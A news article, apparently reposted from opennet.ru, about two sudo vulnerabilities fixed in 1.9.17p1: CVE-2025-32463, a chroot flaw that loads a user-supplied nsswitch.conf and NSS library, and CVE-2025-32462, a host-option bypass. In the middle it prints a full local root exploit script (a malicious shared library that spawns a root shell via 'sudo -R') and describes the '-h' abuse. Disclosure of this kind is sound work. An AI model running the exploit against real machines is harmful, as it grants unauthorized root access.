Vulnerabilities in the sudo utility allow obtaining root privileges in the system.

A vulnerability has been discovered in the sudo package, used to execute commands as different users (CVE-2025-32463), allowing any unprivileged user to execute code with root privileges, even if the user is not mentioned in the sudoers configuration. The issue affects distributions using the configuration file /etc/nsswitch.conf; for instance, the exploitability of the vulnerability has been demonstrated in Ubuntu 24.04 and Fedora 41.

The vulnerability appears in the default configuration and has been confirmed in sudo releases from 1.9.14 to 1.9.17 (potentially affecting all versions starting from 1.8.33). The issue has been fixed in the sudo update 1.9.17p1. You can check the status of the new package version or the preparation of a patch in the following distributions (if the page is unavailable, it means the distribution developers have not yet started addressing the issue): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo, and Arch (1, 2).

The problem arises because when using the '-R' ('--chroot') option to run commands in a chroot environment with a chosen root directory, the file /etc/nsswitch.conf was loaded in the context of the new root directory instead of the system directory. Since a user can use their own directory as the root for chroot, they can place a configuration file nsswitch.conf there. By controlling the /etc/nsswitch.conf file loaded by the NSS (Name Service Switch) subsystem, the user can add settings that lead to the invocation of additional handlers. Such handlers are loaded by NSS in the form of shared libraries, which can also be placed in a directory controlled by the user. By substituting their library, the user can execute code from it with root privileges since the NSS handling is done before privilege drop.

Example exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

In sudo version 1.9.17p1, another vulnerability (CVE-2025-32462) has also been fixed, allowing commands to be executed with root privileges, but only in sudoers configurations where the 'host' parameter is set to a value other than ALL or the current host name. The vulnerability is due to a bug that caused the '-h' ('--host') option to function not only in conjunction with the '-l' ('--list') option for displaying host-bound privileges but also when executing commands. Thus, a user could specify any host when invoking sudo and bypass the host-named sudoers rules.

To carry out an attack, the user must be mentioned in sudoers; for example, if the settings specify 'testuser testhost = ALL', then the user 'testuser' could specify 'sudo -h testhost' and run commands with root privileges on any hosts, not just on the testhost. Configurations like 'testuser ALL = ALL' or those without explicit rules for the specific user are not vulnerable.

Source: opennet.ru

Buy reliable website hosting with DDoS protection, VPS VDS servers 🔥 Buy reliable website hosting with DDoS protection, VPS VDS servers | ProHoster